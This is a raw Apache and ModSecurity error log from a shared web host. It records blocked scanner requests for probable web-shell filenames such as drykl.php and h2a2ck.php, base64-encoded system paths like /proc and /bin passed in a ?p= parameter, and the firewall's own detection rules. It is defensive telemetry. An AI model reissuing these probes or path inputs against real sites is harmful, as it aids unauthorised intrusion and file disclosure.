531797:tid 532057] [client 20.151.217.54:65169] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/drykl.php"] [unique_id "ai3w7sTA7b1mZrmcA-8PwAAAAk8"] [Sat Jun 13 18:08:14.918623 2026] [access_compat:error] [pid 531797:tid 531959] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8xNw== [Sat Jun 13 18:08:14.918910 2026] [access_compat:error] [pid 531797:tid 531959] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8xNw== [Sat Jun 13 18:08:15.053323 2026] [security2:error] [pid 531155:tid 531202] [remote 17.241.75.159:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 159.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w7ymiP80klyS0NnrpeAABXC4"] [Sat Jun 13 18:08:15.151625 2026] [access_compat:error] [pid 531797:tid 531986] [remote 57.141.14.83:42276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:15.151907 2026] [access_compat:error] [pid 531797:tid 531986] [remote 57.141.14.83:42276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:15.224403 2026] [access_compat:error] [pid 531797:tid 531964] [remote 216.73.217.87:16924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:15.224728 2026] [access_compat:error] [pid 531797:tid 531964] [remote 216.73.217.87:16924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:15.262066 2026] [access_compat:error] [pid 531155:tid 531180] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:15.262337 2026] [access_compat:error] [pid 531155:tid 531180] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:15.323706 2026] [access_compat:error] [pid 531155:tid 531176] [remote 57.141.14.44:33479] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:15.324137 2026] [access_compat:error] [pid 531155:tid 531176] [remote 57.141.14.44:33479] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:15.348172 2026] [access_compat:error] [pid 531155:tid 531271] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:08:15.348463 2026] [access_compat:error] [pid 531155:tid 531271] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:08:15.355903 2026] [security2:error] [pid 531797:tid 531974] [remote 17.246.19.5:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 5.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w78TA7b1mZrmcA-8P0wACM20"] [Sat Jun 13 18:08:15.397877 2026] [security2:error] [pid 531797:tid 532001] [client 20.151.217.54:65230] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/h2a2ck.php"] [unique_id "ai3w78TA7b1mZrmcA-8P1AAAAhk"] [Sat Jun 13 18:08:15.477169 2026] [access_compat:error] [pid 531797:tid 531913] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L2xpYi9zeXN0ZW1k [Sat Jun 13 18:08:15.477445 2026] [access_compat:error] [pid 531797:tid 531913] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L2xpYi9zeXN0ZW1k [Sat Jun 13 18:08:15.654123 2026] [security2:error] [pid 531797:tid 531911] [remote 17.22.245.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w78TA7b1mZrmcA-8P3wACfy8"] [Sat Jun 13 18:08:15.679863 2026] [security2:error] [pid 531797:tid 531981] [remote 47.128.16.70:0] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "farmerlizer.com"] [uri "/robots.txt"] [unique_id "ai3w78TA7b1mZrmcA-8P4AACNXQ"] [Sat Jun 13 18:08:15.814722 2026] [security2:error] [pid 531797:tid 532013] [client 191.234.188.123:63850] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/fcnlp.php"] [unique_id "ai3w78TA7b1mZrmcA-8P4wAAAiU"] [Sat Jun 13 18:08:15.832648 2026] [access_compat:error] [pid 531155:tid 531249] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:15.833011 2026] [access_compat:error] [pid 531155:tid 531249] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:15.851214 2026] [access_compat:error] [pid 531155:tid 531244] [remote 57.141.14.48:21061] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:15.851511 2026] [access_compat:error] [pid 531155:tid 531244] [remote 57.141.14.48:21061] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:15.886417 2026] [security2:error] [pid 531797:tid 532029] [client 191.234.188.123:30234] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.popsandlolly.com"] [uri "/ms-edit.php"] [unique_id "ai3w78TA7b1mZrmcA-8P7wAAAjQ"] [Sat Jun 13 18:08:15.903549 2026] [access_compat:error] [pid 531155:tid 531174] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDY= [Sat Jun 13 18:08:15.904002 2026] [access_compat:error] [pid 531155:tid 531174] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDY= [Sat Jun 13 18:08:16.013857 2026] [security2:error] [pid 531155:tid 531366] [client 216.73.216.152:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 152.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/chunk_split_variation1.phpt"] [unique_id "ai3w8CmiP80klyS0NnrpkgAAAVs"] [Sat Jun 13 18:08:16.067748 2026] [access_compat:error] [pid 531797:tid 531873] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9saWI2NC9wZXJsNS9zeXM= [Sat Jun 13 18:08:16.068031 2026] [access_compat:error] [pid 531797:tid 531873] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9saWI2NC9wZXJsNS9zeXM= [Sat Jun 13 18:08:16.259223 2026] [security2:error] [pid 531797:tid 531905] [remote 17.246.23.217:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w8MTA7b1mZrmcA-8P-gACbCk"] [Sat Jun 13 18:08:16.303356 2026] [access_compat:error] [pid 531155:tid 531256] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2M= [Sat Jun 13 18:08:16.303637 2026] [access_compat:error] [pid 531155:tid 531256] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2M= [Sat Jun 13 18:08:16.317733 2026] [access_compat:error] [pid 531797:tid 531961] [remote 57.141.14.52:31894] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:16.318102 2026] [access_compat:error] [pid 531797:tid 531961] [remote 57.141.14.52:31894] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:16.399204 2026] [access_compat:error] [pid 531155:tid 531166] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDcvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:08:16.399554 2026] [access_compat:error] [pid 531155:tid 531166] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDcvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:08:16.552302 2026] [access_compat:error] [pid 531797:tid 531895] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9zeXMvbW9kdWxlL3N1bnJwYw== [Sat Jun 13 18:08:16.552745 2026] [access_compat:error] [pid 531797:tid 531895] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9zeXMvbW9kdWxlL3N1bnJwYw== [Sat Jun 13 18:08:16.559569 2026] [access_compat:error] [pid 531797:tid 531872] [remote 57.141.14.31:63372] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:16.559986 2026] [access_compat:error] [pid 531797:tid 531872] [remote 57.141.14.31:63372] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:16.848533 2026] [access_compat:error] [pid 531797:tid 531921] [remote 57.141.14.76:37485] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:16.848890 2026] [access_compat:error] [pid 531797:tid 531921] [remote 57.141.14.76:37485] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:16.884643 2026] [access_compat:error] [pid 531155:tid 531252] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:16.884921 2026] [access_compat:error] [pid 531155:tid 531252] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:16.885471 2026] [security2:error] [pid 531797:tid 531951] [remote 17.246.15.140:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 140.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w8MTA7b1mZrmcA-8QEwACa1c"] [Sat Jun 13 18:08:16.914165 2026] [access_compat:error] [pid 531155:tid 531231] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1 [Sat Jun 13 18:08:16.914602 2026] [access_compat:error] [pid 531155:tid 531231] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1 [Sat Jun 13 18:08:16.918977 2026] [security2:error] [pid 531797:tid 532067] [client 172.171.3.232:42116] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/wp-ver.php"] [unique_id "ai3w8MTA7b1mZrmcA-8QFgAAAlk"] [Sat Jun 13 18:08:16.997727 2026] [security2:error] [pid 531155:tid 531288] [client 191.233.234.186:54791] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "kshar.yourkatana.com"] [uri "/fix.php"] [unique_id "ai3w8CmiP80klyS0NnrpqwAAAQ0"] [Sat Jun 13 18:08:17.052045 2026] [access_compat:error] [pid 531797:tid 531879] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Vzci9sb2NhbC9hcGFjaGU= [Sat Jun 13 18:08:17.052490 2026] [access_compat:error] [pid 531797:tid 531879] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Vzci9sb2NhbC9hcGFjaGU= [Sat Jun 13 18:08:17.073611 2026] [security2:error] [pid 531155:tid 531257] [remote 54.209.33.199:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "forum.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3w8SmiP80klyS0NnrprAABbWU"] [Sat Jun 13 18:08:17.073659 2026] [security2:error] [pid 531155:tid 531257] [remote 54.209.33.199:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "forum.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3w8SmiP80klyS0NnrprAABbWU"] [Sat Jun 13 18:08:17.129667 2026] [access_compat:error] [pid 531797:tid 531897] [remote 57.141.14.97:27404] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:17.129938 2026] [access_compat:error] [pid 531797:tid 531897] [remote 57.141.14.97:27404] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:17.254409 2026] [security2:error] [pid 531797:tid 531997] [client 191.233.234.186:60630] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/drykl.php"] [unique_id "ai3w8cTA7b1mZrmcA-8QJQAAAhU"] [Sat Jun 13 18:08:17.304193 2026] [security2:error] [pid 531797:tid 532016] [client 20.9.67.71:64728] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.pedorthistontario.org"] [uri "/cakr3xr4.php"] [unique_id "ai3w8cTA7b1mZrmcA-8QKgAAAig"] [Sat Jun 13 18:08:17.356910 2026] [access_compat:error] [pid 531797:tid 531980] [remote 57.141.14.92:36576] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:17.357357 2026] [access_compat:error] [pid 531797:tid 531980] [remote 57.141.14.92:36576] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:17.358001 2026] [access_compat:error] [pid 531155:tid 531192] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2M= [Sat Jun 13 18:08:17.358343 2026] [access_compat:error] [pid 531155:tid 531192] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2M= [Sat Jun 13 18:08:17.446370 2026] [access_compat:error] [pid 531155:tid 531203] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZQ== [Sat Jun 13 18:08:17.446828 2026] [access_compat:error] [pid 531155:tid 531203] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 